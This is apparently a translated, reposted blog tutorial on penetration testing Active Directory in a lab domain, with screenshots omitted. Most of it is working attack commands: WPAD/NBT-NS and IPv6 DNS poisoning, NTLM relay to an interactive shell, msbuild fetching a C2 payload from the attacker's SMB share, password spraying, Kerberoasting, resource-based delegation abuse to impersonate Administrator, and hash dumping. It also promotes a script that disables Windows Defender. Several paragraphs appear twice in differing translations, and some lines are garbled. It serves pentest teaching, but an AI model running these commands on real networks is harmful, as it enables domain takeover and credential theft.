0x01 前言

我有几个客户在渗透测试之前来找我,说他们的系统安全做得非常好,因为他们的漏洞扫描显示没有严重的漏洞并且已准备好进行安全测试,这使我在15分钟内利用AD中的错误配置获得了域管理员权限。

我在渗透测试领域看到的一个教育缺陷是当前涉及渗透Active Directory(AD)方面缺乏知识。不幸的是,OSCP并没有覆盖AD测试,甚至连sans-gpen课程也很少涉及它。本文的目标是帮助展示我过去在对AD的安全测试中使用的一些技术,工具和方法。这绝不是一遍关于每种方法或工具的综合性手册。在本系列中,我将使用kali linux 2019,并通过虚拟机在自己的虚拟域上操作。

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

让我们首先说明目标:渗透测试的目标是识别攻击者为破坏网络而使用的任何可能的攻击向量。它不是为了获得域管理员权限。

现在我们有了一个目标,我们遵循了几个步骤来实现它。下面是关于测试环节的(粗略)图示指南。

Active Directory渗透测试典型案例 随笔 第1张

Active Directory渗透测试典型案例 随笔 第2张

概要:一个客户机雇佣您在他们的网络上进行渗透测试,该网络使用Active Directory。没有提供任何有关的信息,也没有任何登录凭据,也没有攻击范围,也没有进入客户公司前门的凭证,但是你可以设法从后门尾随进入,找到一个有IP电话的隐蔽房间。拔下IP电话的插头,插入笔记本电脑,发现自己在客服公司同一局域网内。下一步是什么?获得权限立足点。

0x02  第一阶段:获得权限立足点

由于没有信任证书,我们可以进行的侦察数量有限,而且几乎在整个周期的每一步都会进行侦察,但是我们可以立即采取一些措施来立足于网络。首先,因为我们有网络访问权限,所以只需通过ifconfig或ipconfig检查我们所在的子网。获得IP后,在nmap中执行ping扫描以查看是否可以访问其他设备。

nmap -sn 192.168.1.1/24

如果显示ping返回,那么该网络设备可网络连通。如果什么都没有得到,可能是ICMP被禁用,那么网络上没有其他设备,或者由于您没有经过身份验证,您无法与其他设备通信,并且可能被身份安全解决方案(如Cisco ISE)阻止。为了本文的目的,假设我们已经和一些设备网络连通,并且能够成功地对它们执行ping操作。

1.Responder

接下来,我们将使用一个名为Responder的工具或者如果你偏爱Windows,那么Inveigh。这两个工具的作用是检查AD中非常常见的错误配置,从而导致WPAD和NBT-NS中毒的能力。默认情况下,Windows配置为在使用Internet时搜索Web代理自动发现文件。这在组织中很有用,因为设备将发送广播请求代理文件并接收代理文件。但是,它自然不会验证发送代理文件的人员,允许攻击者发送欺骗性答案然后请求凭据。

接下来,我们将使用一个名为Responder的工具,或者如果您偏爱Windows和Inveigh。这两个工具的作用是检查AD中常见的错误配置,从而导致WPAD和NBT-NS投毒。情况下,Windows配置为在使用Internet时搜索Web代理自动发现文件。这在企业组织中很有用,因为设备将发送广播请求代理文件并接收代理文件。但是,它自然不会对发送代理文件的人进行身份验证,从而允许攻击者发送一个欺骗的答案,然后请求凭据。

在Kali中,默认安装 responder

responder -I eth0 --wpad
在我的Windows 7计算机上,我打开Internet Explorer并转到Google,然后启动对WPAD文件的搜索。在Responder中,我看到请求通过,然后Responder自动用挑战回复请求,这导致受害者发送他们的用户名和哈希密码(以NTLMv2格式)

Active Directory渗透测试典型案例 随笔 第3张

Active Directory渗透测试典型案例 随笔 第4张

有了这个哈希表,我们可以做一些事情。我们可以尝试破解它,或者使用ntlmrelay.py之类的工具进行中继。我在该文章中阐述了如何转发NTLM哈希,所以我将继续阐述如何破解它,因为这通常是我在计划时所做的。

说实话,我很少在linux/kali上破解密码。我使用的是一个nvidia GPU显卡,它从来没有在Kali上被正确安装过,而且Windows上有hashcatgui,这使得它更简单容易并将使用它。我把收集到的哈希值存储到一个名为“hash.txt”的文件中,并对其运行一些简单规则和输入输出设置,但在本文中,我只是使用了字典rockyou.txt并运行它,它在一秒内就成功破解了哈希值。

Active Directory渗透测试典型案例 随笔 第5张

Active Directory渗透测试典型案例 随笔 第6张我对HashcatGUI的设置Active Directory渗透测试典型案例 随笔 第7张

Active Directory渗透测试典型案例 随笔 第8张

现在我们成功破解了密码,我们有登录凭据Alice:Password!

在继续之前,我想展示一些其他的方法,以防 Responder 程序不起作用。

2.mitm6

假设客户端的网络正在使用合法的WPAD PAC文件,并且您的欺骗无法正常运行。还有另一种技术利用IPv6和DNS将凭证中继到目标。默认情况下,IPv6已启用且实际上优先 于IPv4,这意味着如果计算机有IPv6 DNS服务器,则它将使用IPv4。此外此外,默认情况下,Windows计算机通过DHCPv6请求查找IPv6 DNS服务器,如果我们使用假的IPv6 DNS服务器进行欺骗,我们可以有效地控制设备查询DNS的方式。更多内容可以在这里阅读。

首先,下载mitm6

git clone https://github.com/fox-it/mitm6.git
cd mitm6
pip install .

然后针对目标网络工作组运行它。因为我们以前做过一次ping扫描,所以也获取到了netbios名称,显示目标域是lab.local

以下是我运行mitm6之前目标上的IP设置。

Active Directory渗透测试典型案例 随笔 第9张

Active Directory渗透测试典型案例 随笔 第10张                                                        注意DNS服务器

然后运行mitm6

mitm6 -d lab.local

Active Directory渗透测试典型案例 随笔 第11张

Active Directory渗透测试典型案例 随笔 第12张

现在目标上的DNS服务器已经被更改

Active Directory渗透测试典型案例 随笔 第13张

Active Directory渗透测试典型案例 随笔 第14张                                                                注意IPv6地址作为DNS服务器

现在真正的漏洞是Windows下IPV6比IPV4的攻击更好,这意味着现在已控制DNS。

所以现在利用这样一个事实:我们通过Ntlmrelayx.py再次欺骗WPAD响应来控制DNS。在这里,我写了一篇关于如何设置它的指南。

在一个窗口中运行mitm6时,同时打开另一个窗口并运行ntlmrelayx.py

ntlmrelayx.py  -wh 192.168.218.129  -t  smb://192.168.218.128/  -i
-wh: 托管WPAD文件的服务器(攻击者的IP)

-t: 目标(您无法将凭据中继到您正在欺骗的同一设备中)

-i:打开一个交互式shell

Active Directory渗透测试典型案例 随笔 第15张

Active Directory渗透测试典型案例 随笔 第16张

从这里我们可以通过netcat连接到shell,就好像我们有一个完全交互的SMB shell,或者我们可以通过-c(命令)发送一个Empire stager。实际上,你的选择仅限于ntlmrelayx.py所能做的。在这种情况下,我使用-c命令来执行silenttrinity有效payload。我在这里写了关于如何使用SILENTTRINITY的文章。

ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.50/ --no-smb-server -c 'C:\Windows\Microsoft.NET\Framework64\v3.5\msbuild.exe \\192.168.218.129\SMB\msbuild.xml'

Active Directory渗透测试典型案例 随笔 第17张

Active Directory渗透测试典型案例 随笔 第18张

但是,在本例中,msbuild.exe在这种情况下不构建XML文件,而且我也没有返回silenttrinity的连接,因为这太容易了。相反,我查看我的SMB服务器并查看中继哈希

Active Directory渗透测试典型案例 随笔 第19张

Active Directory渗透测试典型案例 随笔 第20张

然后反而我成功地破解了它

Active Directory渗透测试典型案例 随笔 第21张

Active Directory渗透测试典型案例 随笔 第22张

现在,我们成功地在不使用Responder的情况下拥有网络凭据

3.CrackMapExec

CrackMapExec本质上是一把瑞士军刀。从密码喷洒和哈希传递到命令执行,它应该在每个渗透测试工具包中被使用

如果其他都失败了,我们可以尝试密码喷洒。这个方法之所以是最后一个,是因为密码被锁定。密码锁定并不像您想象的那样常见,这允许攻击者对用户名使用字典进行攻击。获取用户名是第一步,可以通过OSInt和使用信息收集器来完成。如果我们没有来自osint的用户名,我们也可以给crackmapexec(cme)一个用户名字典表,但是为了时间的缘故,我们假设有用户名rsmith。

如果您使用的是Kali的较新版本,则默认已安装了CrackMapExec,但如果不是,则可以安装它

apt-get install crackmapexec

由于我们在扫描中识别出网络上的设备,因此我们可以向CME提供与用户名配对的密码字典并尝试登录。

crackmapexec smb 192.168.218.40 -d lab.local -u rsmith -p~ / Documents / wordlists / fasttrack.txt --shares

几秒钟后,就会获取到密码。

Active Directory渗透测试典型案例 随笔 第23张

Active Directory渗透测试典型案例 随笔 第24张

这可能看起来是CTF-Y,但season:year 是一个非常流行的密码组合。

有了这些找到的凭据,我们现在拥有了一个常规的用户帐户,并将下文中继续提升权限

在上文中,我以三种不同的方式获得了域的凭据。在本文的大部分内容中,我将使用rsmith用户凭据,因为它们权限是低级别的,这将使我们进行权限提升

当然,Windows中的权限提升可以来自缺少的补丁或不带引号的服务路径系统,但由于这是对AD的测试,我们将利用一些AD内容来提升权限。

有了网络凭据,我们现在应该先进行一些信息收集,然后再直接查看未打的补丁漏洞。有一些工具和技术会对我们有所帮助。

0x03 第二阶段:特权提升和信息收集

1.Bloodhound

我最喜欢的工具之一是Bloodhound。以图形化方式显示,因此Bloodhound是一个很好的工具,因为它可以从字面上映射出图形中的域,揭示了有关联和无关联的关系。从攻击者的角度来看,这很有趣,因为它向我们展示了目标。

我写了一整篇关于Bloodhound的文章,可以在这里阅读到,但我会展示一个tl; dr版本

假设您没有在计算机上获得一个会话,但您拥有凭据。您仍然可以使用Bloodhound的Python并远程收集数据。可以通过git进行安装

git clone https://github.com/fox-it/BloodHound.py.git 
cd BloodHound.py/&&pip install

然后可以通过传递凭据,域和DC IP来运行

bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all

Active Directory渗透测试典型案例 随笔 第25张

Active Directory渗透测试典型案例 随笔 第26张

一旦BH完成了任务,它将以.json格式将数据存储在运行它的目录中。复制这些文件,然后将它们拖到Bloodhound中,现在您就有了一个漂亮的网络图。如果按“域管理的最短路径”排序,您将得到类似于下面的内容。

Active Directory渗透测试典型案例 随笔 第27张

Active Directory渗透测试典型案例 随笔 第28张                                                                                                                                     AdminAlice已登录DC

这样做的好处是,您可以直接查看管理员登录到哪些计算机,从而为您提供下一个目标。在一个拥有数百甚至数千台接受低权限凭据的计算机的域中,您不希望仅仅通过收集其他低权限凭据来浪费时间。这给出了一个目标列表,以及许多其他内容。其他用途包括识别可能具有包含凭证的数据库的SQL服务器,识别哪些机器可以连接RDP等等。我鼓励您在此深入了解它的深入功能。我还鼓励你看看GoFetc,它自动利用Bloodhound绘制的攻击计划。

2.Kerberoasting | GetUserSPNs.py

通过标识目标列表和域控制器,一种权限提升的方式是Kerberoasting。因为在AD中向服务帐户颁发了服务主体名称(SPN),所以可以进行kerberoasting。然后,任何用户都可以从具有该帐户哈希密码(采用kerberos 5 tgs-rep格式)的SPN请求kerberos票证。有许多不同的工具可以进行Kerberoasting,但实际上你只需要一个工具。

GetUserSPNs.py非常简单 - 它在目标域中查询在用户帐户下运行的SPN。使用它非常简单。

Active Directory渗透测试典型案例 随笔 第29张

Active Directory渗透测试典型案例 随笔 第30张

现在我们有一个服务帐户的哈希值。我将它加载到hashcat(当然是GUI)中并选择hash类型13100,如下所示

Active Directory渗透测试典型案例 随笔 第31张

Active Directory渗透测试典型案例 随笔 第32张

它会在几秒钟内成功爆破

Active Directory渗透测试典型案例 随笔 第33张

Active Directory渗透测试典型案例 随笔 第34张

我们现在拥有服务帐户的凭据,这通常会对域控制器的进行成功访问。太容易了?让我们试试其他方法。

3.ASEPRoasting | Rubeus

ASEPRoasting类似于Kerberosting,从这个意义上说,我们查询帐户的TGT,获取哈希,然后破解它,但是在Aseproasting的情况下有一个非常大的警告:必须禁用Kerberos预身份验证,这不是默认设置。当您通过Kerberos AS-REQ消息请求TGT时,您还提供使用您的用户名和密码加密的时间戳。然后,密钥分发中心(KDC)解密时间戳,验证来自该用户的请求,然后继续进行身份验证过程。这是kerberos的预身份验证过程,这显然是攻击者的问题,因为我们不是kdc,无法解密该消息。当然,这是设计用于防止攻击,但是如果预身份验证被关闭,我们可以向任何用户发送一个as-req,它将返回哈希密码。由于默认情况下启用了预身份验证,因此必须手动关闭它,因此这种情况很少见,但仍然值得一提。

Active Directory渗透测试典型案例 随笔 第35张

Active Directory渗透测试典型案例 随笔 第36张tsmith容易受到 ASREPRoasting影响,因为选中了“不需要Kerberos预身份验证

为了利用这一点,我们将使用一个名为Rubeus的工具。Rubeus是一个滥用Kerberos的大型工具集,但是为了进行ASREPRoasting,我们关心这一部分。要使用Rubeus,首先需要安装Visual Studio。安装完成后,下载Rubeus并使用Visual Studio打开Rubeus.sln文件。

Active Directory渗透测试典型案例 随笔 第37张

Active Directory渗透测试典型案例 随笔 第38张

Active Directory渗透测试典型案例 随笔 第39张 Active Directory渗透测试典型案例 随笔 第40张

默认情况下,它将安装在rubes\bin\debug\file中。cd进入该目录,然后运行它:

 .\Rubeus.exe asreproast

Active Directory渗透测试典型案例 随笔 第41张

Active Directory渗透测试典型案例 随笔 第42张

如果没有用户选中“不需要Kerberos预身份验证”,那么就不会有任何用户进行验证。但如果有…

Active Directory渗透测试典型案例 随笔 第43张

Active Directory渗透测试典型案例 随笔 第44张

然后我们可以为用户获取哈希并破解它。

请记住,示例是在已加入域的计算机上完成的,因此,如果您是从不在域上的计算机上执行此操作,则必须连接域控制器,域名,OU等

4.SILENTTRINITY

SILENTTRINITY是由@ byt3bl33d3r开发的一种新的命令和控制(C2)工具,它使用IronPython和C#。您可以选择使用MSBuild.exe,这是一个Windows二进制文件,它构建C#代码(默认情况下也安装在Windows 10中,作为.NET的一部分),以XML格式运行命令和控制(C2)有效载荷,允许然后攻击者使用底层.NET框架通过IronPython,C#和其他语言在受害者的主机上进行操作。

就个人而言,SILENTTRINITY已经取代了我工具箱中的Empire,我在这里写了一篇关于如何使用帝国的指南。还有一些地方我更喜欢Empire连接,但ST也处于'alpha'状态,所以该功能也会在其ST中体现。在我看来,ST取代Empire有三个主要原因。

  1. Empire的有效载荷现在被Windows Defender捕获,即使是在混淆的情况下(有很多方法可以解决,但仍然如此。)
  2.   ST在命令下执行
  3. 使用–at exec参数在CME上执行有效负载时,可以将权限升级到SYSTEM权限

以下是使用非域管理员用户凭据的全新Windows 10安装中的POC

Active Directory渗透测试典型案例 随笔 第45张

Active Directory渗透测试典型案例 随笔 第46张                         帐户“tsmith”仅在用户的组中 Active Directory渗透测试典型案例 随笔 第47张

Active Directory渗透测试典型案例 随笔 第48张                                                                                                              使用tsmith的凭据执行代码 

我在SILENTTRINITY中生成XML payload,然后通过smbserver.py将其托管在我的SMB服务器上。如果你对怎么做感到困惑,请按照我的指南进行操作。然后,我使用CME执行将在攻击者机器上获取XML文件的命令。

我在silenttrinity中生成XML有效负载,然后通过smb server.py将其托管在我的smb服务器上。如果你对怎么做感到困惑,请按照我的指导来做。然后,我使用CME执行将在攻击者机器上获取XML文件的命令。

crackmapexec 192.168.218.60 -u tsmith -p Password! -d lab.local -x 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe  \\192.168.218.129\SMB\msbuild.xml' --exec-method atexec

Active Directory渗透测试典型案例 随笔 第49张

Active Directory渗透测试典型案例 随笔 第50张

                         CME执行所提供的命令,该命令运行msbuild.exe并告诉它托管在我的SMB服务器上的XML文件

 我现在在ST中获得了一个会话Active Directory渗透测试典型案例 随笔 第51张

Active Directory渗透测试典型案例 随笔 第52张

列出会话的信息会显示我的用户名是system,这意味着我从用户tsmith提升到了system,这是因为msbuild.exe使用–exec method atexec选项运行,该选项使用具有系统权限(或尽可能高的权限)的任务计划程序来运行命令

Active Directory渗透测试典型案例 随笔 第53张

Active Directory渗透测试典型案例 随笔 第54张

当然,我们然后转储凭据,现在有一个管理员密码哈希,我们可以传递或破解它。

Active Directory渗透测试典型案例 随笔 第55张

Active Directory渗透测试典型案例 随笔 第56张

4.PrivExchange

PrivExchange是一种新技术(在过去一个月内),它利用了默认情况下Exchange服务器过度使用的事实。这是Dirkjann在一个多月前发现的,现在是快速提升特权的一种很好的方法。

它的工作原理是查询Exchange服务器,获取包含Exchange服务器凭据的响应,然后通过ntlmrelayx将响应中的凭据中继到域控制器,然后修改用户的权限,以便他们可以在域控制器上转储哈希值。

设置它有点麻烦。Exchange 2013是使用Windows 2012 R2服务器上的默认方法安装的,我对PrivExchange python脚本进行了此修改,以使其在没有有效SSL证书的情况下工作。在那之后,它运行一切顺利。

首先,启动ntlmrelayx.py并将其指向DC,通过LDAP进行身份验证并提升用户的权限。

ntlmrelayx.py -t ldap://192.168.218.10 --escalate-user rsmith

然后,通过传入攻击者IP(-ah),目标和用户/密码/域来运行privexchange.py

python privexchange.py -ah 192.168.218.129 LAB2012DC02.lab.local -u rsmith -d lab.local -p Winter201

Active Directory渗透测试典型案例 随笔 第57张

Active Directory渗透测试典型案例 随笔 第58张                                                                                             Privexchange.py对echange进行API调用Active Directory渗透测试典型案例 随笔 第59张   

Active Directory渗透测试典型案例 随笔 第60张

                                                             ntlmrelayx将Exchange服务器的凭据中继到主DC,然后提升rsmith的权限Active Directory渗透测试典型案例 随笔 第61张   

Active Directory渗透测试典型案例 随笔 第62张                 

                                                                                  使用rsmith的特权在DC上转储哈希值

通过对所有用户使用哈希,现在可以破解它们了。

注意:如果你运行mimikatz,它会被AV捕获,secretsdump.py是一个很好的选择,因为它不会将任何东西存储到磁盘上。

5.Kerberos无约束委派

同样来自Dirk-jan,是一种利用默认AD安装的攻击。具体而言,默认情况下,计算机可以更改与其权限相关的某些属性,例如msDS-AllowedToActOnBehalfOfOtherIdentity。此属性控制用户是否可以通过Kerberos模拟登录(几乎)域中的任何计算机。通过中继凭证可以实现这一切。我在第一部分中演示了mitm6,所以我将在这里再次使用它,但是以不同的方式传递响应。

同样来自Dirk-jan,,它是一种利用默认AD安装的攻击。具体而言,默认情况下,计算机可以更改与其权限相关的一些属性,例如msDS-AllowedToActOnBehalfOfOtherIdentity。此属性控制用户是否可以通过Kerberos模拟登录(几乎)域中的任何计算机。通过中继凭证可以实现这一切。我已经在上文中演示了mitm6的使用方法,所以我将在这里再次使用它,但是以不同的方式传递响应。

mitm6 -i ens33 -d lab.local

Active Directory渗透测试典型案例 随笔 第63张

Active Directory渗透测试典型案例 随笔 第64张

然后我在提供WPAD文件时并通过LDAPS将凭据中继到主DC,同时选择委派访问攻击方法。

ntlmrelayx.py -t ldaps://LAB2012DC01.lab.local -wh 192.168.10.100 --delegate-access

Active Directory渗透测试典型案例 随笔 第65张

Active Directory渗透测试典型案例 随笔 第66张

Active Directory渗透测试典型案例 随笔 第67张Active Directory渗透测试典型案例 随笔 第68张

受害者打开IE,它通过IPv6发出WPAD请求,攻击者(我)响应并通过LDAPS将这些凭据转发给DC。创建一台新计算机并修改委派权限,以便新的“计算机”可以通过msDS-AllowedToActOnBehalfOfOtherIdentity属性模拟LABWIN10(受害者)上的任何用户。所以我现在生成一张白银票据,并冒充用户'管理员'

getST.py -spn cifs/LABWIN10.lab.local lab.local/AFWMZ0DS\$ -dc-ip 192.168.10.10 -impersonate Administrator

Active Directory渗透测试典型案例 随笔 第69张

Active Directory渗透测试典型案例 随笔 第70张

然后我通过secretsdump.py使用我获取到的白银票据登录到LABWIN10并转储凭据

Active Directory渗透测试典型案例 随笔 第71张

Active Directory渗透测试典型案例 随笔 第72张

要了解更多关于白银票据攻击及其工作原理,这是一篇很好的文章

6.基于资源的约束委派

是的,由于msDS-AllowedToActOnBehalfOfOtherIdentity属性导致更多攻击。@ harmj0y几个星期前在此发了一篇文章。基本上,如果您能够在AD中更改计算机对象,你就可以接管该计算机权限。唯一的问题是需要有一个2012+域控制器,因为旧版本不支持基于资源的约束委派(RBCD)。在这篇文章中,EladShamir分解了整个攻击,包括更多关于RBCD的内容

有三种工具可用于此操作:

Powermad

POWERVIEW

Rubeus

然后使用rsmith的凭据在Windows 10计算机上执行此攻击。首先,我们将executionpolicy设置为Bypass(绕过),以便我们可以导入和运行脚本。

Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser

Active Directory渗透测试典型案例 随笔 第73张

Active Directory渗透测试典型案例 随笔 第74张

然后我们检查是否可以修改自由访问控制列表(DACL

$AttackerSID = Get-DomainGroup Users -Properties objectsid | Select -Expand objectsid
Get-DomainObjectACL LAB2012DC01.lab.local | ?{$_.SecurityIdentifier -match $AttackerSID} 

Active Directory渗透测试典型案例 随笔 第75张

上述命令表示是查找“用户”SID的权限,表明该组对该对象(DC)具有“创建-写入”权限。

默认情况下,这是不可利用的。这是在恶意利用管理员设置的潜在错误配置;在此示例中,管理员将“用户”组添加为DC的主体并允许GenericWrite属性。

作为POC,rsmith(属于“用户”组)无法连接DC

Active Directory渗透测试典型案例 随笔 第76张

Active Directory渗透测试典型案例 随笔 第77张

接下来我们要做的是创建一个新的计算机帐户,并修改域控制器上的属性,以允许新的计算机帐户冒充域控制器上的任何人,这一切都要归功于msDS-allowedToActOnBehalfOfOtherIdentity。我们可以创建一个新的计算机帐户,因为默认情况下,用户最多可以创建10个计算机帐户。powermad有它的功能。

New-MachineAccount -MachineAccount hackermachine -Password $(ConvertTo-SecureString 'Spring2017' -AsPlainText -Force)

Active Directory渗透测试典型案例 随笔 第78张

Active Directory渗透测试典型案例 随笔 第79张

然后,我们将新机器的SID添加到 DC上的msDS-allowedToActOnBehalfOfOtherIdentity属性

$ComputerSid = Get-DomainComputer hackermachine -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

然后使用Rubeus获取我们创建的机器的NT密码

.\Rubeus.exe hash /password:Spring2017 /user:hackermachine /domain:lab.local 

Active Directory渗透测试典型案例 随笔 第80张

Active Directory渗透测试典型案例 随笔 第81张

最后,我们在目标DC上使用Rubeus的用户服务(S4U)进程模拟域管理员(Administrator)

.\Rubeus.exe s4u /user:hackermachine$ /rc4:9EFAFD86A2791ED001085B4F878AF381 /impersonateuser:Administrator /msdsspn:cifs/LAB2012DC01.lab.local /ptt

Active Directory渗透测试典型案例 随笔 第82张

Active Directory渗透测试典型案例 随笔 第83张

通过导入票据,我们可以访问域控制器。

Active Directory渗透测试典型案例 随笔 第84张

同样,这是利用系统管理员错误的并添加“用户”组以便对DC具有通用的写访问权限的设置事实。尽管我们无法通过SMB访问它,但我们修改了允许我们访问的权。如果您仍然感到困惑,这里有来自SpecterOps 的视频演示。

7.MS14-025,GPP

这个不太常见,因为它已经出现了很长一段时间了,但它被提及因为它仍然存在。MS14-025也称为组策略首选项提升漏洞。

当域管理员通过组策略首选项推送到本地管理员帐户时,它会将加密的凭据存储在域控制器上的SYSVOL共享中(任何人都可以访问SYSVOL,因为它是存储策略的位置以及域客户端需要的其他内容访问)。这通常不会成为问题,因为它是用AES加密的,对吗?是的,微软公司在网上发布了解密密钥。所以现在,攻击者可以解码密码。为了简化这个过程,metasploit有一个辅助模块。

Active Directory渗透测试典型案例 随笔 第85张

Active Directory渗透测试典型案例 随笔 第86张

Active Directory渗透测试典型案例 随笔 第87张Active Directory渗透测试典型案例 随笔 第88张

8.攻查找特权帐户CrackMapExec

好吧,这个不一定是“攻击”,就像它是一种做好侦察和枚举的方法一样,一些工具可以帮助解决这个问题。从文章的角度来看,这似乎有点延伸,但实际上,特权帐户非常普遍,找到一个人帐户然后登录到另一个人工作站并阅读他们的东西并不罕见。此外,拥有该用户应该没有业务访问权限的服务器的权限,这当然导致攻击者只是在任何地方转储凭据并最终找到在域控制器上工作的信誉。

好吧,这一次不一定是“攻击”,因为它是一种进行良好侦察和计数的方法,一些工具可以帮助解决这个问题。从一篇文章的角度来看,这似乎有点夸张,但事实上,特权账户是如此普遍,以至于找到一个人的账户,然后登录到另一个人的工作站,并读取他们的资料是很正常的。此外,拥有对该用户不应该具有业务访问权限的服务器的权限,这当然会导致攻击者将凭证丢到任何地方,最终找到在域控制器上工作的凭证。

这里的方法非常简单:在网络上喷涂凭据,查看您可以登录的内容。使用crackmapexec,您可以列出共享并查看您具有写入权限。

这里的方法很简单:在网络上喷涂凭据,看看你能登录什么。使用CrackMapExec,您可以列出这些共享并查看您有哪些写访问权限。

crackmapexec 192.168.218.0/24 -u rsmith -p Winter2017 --shares

Active Directory渗透测试典型案例 随笔 第89张

Active Directory渗透测试典型案例 随笔 第90张

从这里开始,使用SILENTTRINITY打开用户具有写入权限的会话,运行mimikatz模块,并希望您找到具有特权的新凭据。请记住,您可以将CME与CIDR一起使用,这意味着如果您使用SILENTTRINITY作为C2服务器并使用CME触发连接,则可以通过网络将其喷射到最大会话。虽然它不是非常OpSec友好且非常嘈杂。考虑它是一个测试,看看他们的检测和响应姿势是如何

在这里,使用silenttrinity打开一个会话,讨论用户对哪些内容具有写访问权限,运行mimikatz模块,并希望您找到具有特权的新凭据。记住,你可以使用CIDE和CIDRS,这意味着如果你使用SeleTrtruthC2作为C2服务器,并使用CME来触发连接,你可以通过网络喷洒最大的会话。尽管它不太友好,噪音也不太大。把它当作一个测试,看看他们的检测和反应姿势是怎样的

9.PowerTools

(1).攻击方法一:在文件中查找密码

另一个需要查找的是文件中的密码。有几次我发现用户在他们的Documents文件夹中存储了电子邮件,其中包含一个密码。或者他们保存一个包含密码的Excel/Word文件。这就是PowerSploit派上用场的地方。我从哪里开始使用PowerSploit?如果你想做一些恶意的事情,它有一个powershell模块。在搜索密码或任何字符串的情况下,PowerView是您的好助手。请记住,EDR基本上捕获了这个套件中的每个模块,因此我建议在使用Invoke-Obfuscation之前对它们进行编码。PowerView易于使用。下载PowerSploit,并在您解压缩的目录中打开Powershell(确保您是管理员)。

首先,允许运行脚本

Set-ExecutionPolicy Bypass

然后导入模块

Import-Module .\PowerView.ps1

Active Directory渗透测试典型案例 随笔 第91张

Active Directory渗透测试典型案例 随笔 第92张

在PowerView模块中有一个名为Invoke-FileFinder的命令,它允许您在文件中搜索所需的任何字符串。比如字符串'password'。

Active Directory渗透测试典型案例 随笔 第93张

                                            在C盘中搜索包含字符串'password'的任何内容Active Directory渗透测试典型案例 随笔 第94张   

Active Directory渗透测试典型案例 随笔 第95张                                                                                                                                                            找到一个密码文件

请注意,这需要很长时间。它有助于缩小搜索区域并从该目录运行命令

(2).攻击方法二:Get-ExploitableSystem

这是一个非常简要的脚本。它将向Active Directory查询每个计算机帐户的主机名,操作系统版本和Service Pack版本,然后根据常见的Metasploit漏洞利用列表进行交叉引用。

首先导入整个PowerPloit套件(如果需要,只导入PowerView)

Import-Module .\PowerSploit.psd1

Active Directory渗透测试典型案例 随笔 第96张

Active Directory渗透测试典型案例 随笔 第97张

然后运行该命令

Get-ExploitableSystem -Verbose

Active Directory渗透测试典型案例 随笔 第98张

                     Hurray for Windows XP!
(3).攻击方法三:PowerUp

在PowerUp模块中有一个名为“Invoke-All-Checks”的函数,它完全按照它的脚本自动执行。它会检查所有内容,从不带引号的服务路径(我在这里写了如何利用)到寻找MS14-025。查看Github了解更多信息。

使用它很简单

Invoke-AllChecks

Active Directory渗透测试典型案例 随笔 第99张

Active Directory渗透测试典型案例 随笔 第100张

PowerUp使用方法:

Powerup旨在成为依赖错误配置的常见Windows权限提升向量的交换中心。

运行Invoke-AllChecks将输出任何可识别的漏洞以及任何滥用功能的规范。-HTMLReport参数还将生成报告的computer.username.html版本。

作者:@ harmj0y许可证:BSD 3-Clause必需依赖项:无可选依赖项:无

服务枚举:

Get-ServiceUnquoted                 -   返回具有名称空间的未加引号路径的服务
Get-ModifiableServiceFile           -  返回当前用户可以写入服务二进制路径或其配置的服务
Get-ModifiableService               -   返回当前用户可以修改的服务
Get-ServiceDetail                   -   返回有关指定服务的详细信息
Invoke-ServiceAbuse                 -   修改易受攻击的服务以创建本地管理员或执行自定义命令
Write-ServiceBinary                 -   写出一个修补的C#服务二进制文件,它添加一个本地管理员或执行一个自定义命令
Install-ServiceBinary               -  将服务二进制文件替换为添加本地管理员或执行自定义命令的服务二进制文件
Restore-ServiceBinary               -   用原始可执行文件还原替换的服务二进制文件
DLL劫持:
Find-ProcessDLLHijack               -   为当前运行的进程查找潜在的dll劫持
Find-PathDLLHijack                  -  查找服务%path%dll劫持
Write-HijackDll                     -  写出一个可劫持的DLL

注册表检查:

Get-RegistryAlwaysInstallElevated   -  检查是否设置了alwaysInstallElevated注册表项
Get-RegistryAutoLogon               -   检查注册表中的自动登录凭据
Get-ModifiableRegistryAutoRun       -   在hklm autoruns中检查任何可修改的二进制文件/脚本(或其配置)

杂项检查:

Get-ModifiableScheduledTaskFile     -   检查具有可修改目标文件的schtasks
Get-UnattendedInstallFile           -   检查剩余的无人参与安装文件
Get-Webconfig                       -   检查任何加密的web.config字符串
Get-ApplicationHost                 -   检查加密的应用程序池和虚拟目录密码
Get-SiteListPassword                -   检索找到的McAfee的sitelist.xml文件的明文密码
Get-CachedGPPPassword               -   检查缓存组策略首选项文件中的密码
其他帮助/辅助功能:
Get-ModifiablePath                  -   对输入字符串进行标记,并返回当前用户可以修改的文件
Get-CurrentUserTokenGroupSid        -   返回当前用户所属的所有sid,无论这些sid是否被禁用
Add-ServiceDacl                     -   为service返回的服务对象添加dacl字段
Set-ServiceBinPath                  -   通过win32 api方法将服务的二进制路径设置为指定值
Test-ServiceDaclPermission          -  根据给定的权限集测试一个或多个传递的服务或服务名称      
Write-UserAddMSI                    -   写出一个MSI安装程序,提示用户添加
Invoke-AllChecks                    -   运行所有当前权限提升检查并返回报告
(4).攻击方法四:GetSystem

此模块执行与Metasploit'GetSystem'的功能相同。要了解更多关于具体内容的信息,请阅读阅读CobaltStrike这篇优秀文章。

否则,只需运行该命令即可

Get-System -Technique Token

或者

Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' 

Active Directory渗透测试典型案例 随笔 第101张

Active Directory渗透测试典型案例 随笔 第102张                                      这是LAB\administrator Active Directory渗透测试典型案例 随笔 第103张 Active Directory渗透测试典型案例 随笔 第104张                                              这是LAB\system

10.ADAPE

就我个人而言,我写了一个名为adape的脚本——Active Directory评估和权限提升脚本

ADAPE是用PowerShell编写的,它使用几个不同的其他工具的函数,并自动运行它们,从而防止需要通过多个工具进行端口连接。它也被混淆加密并关闭Windows Defender以帮助我们绕过EDR。

ADAPE易于使用。下载它,将其复制到目标Windows机器上,然后运行它

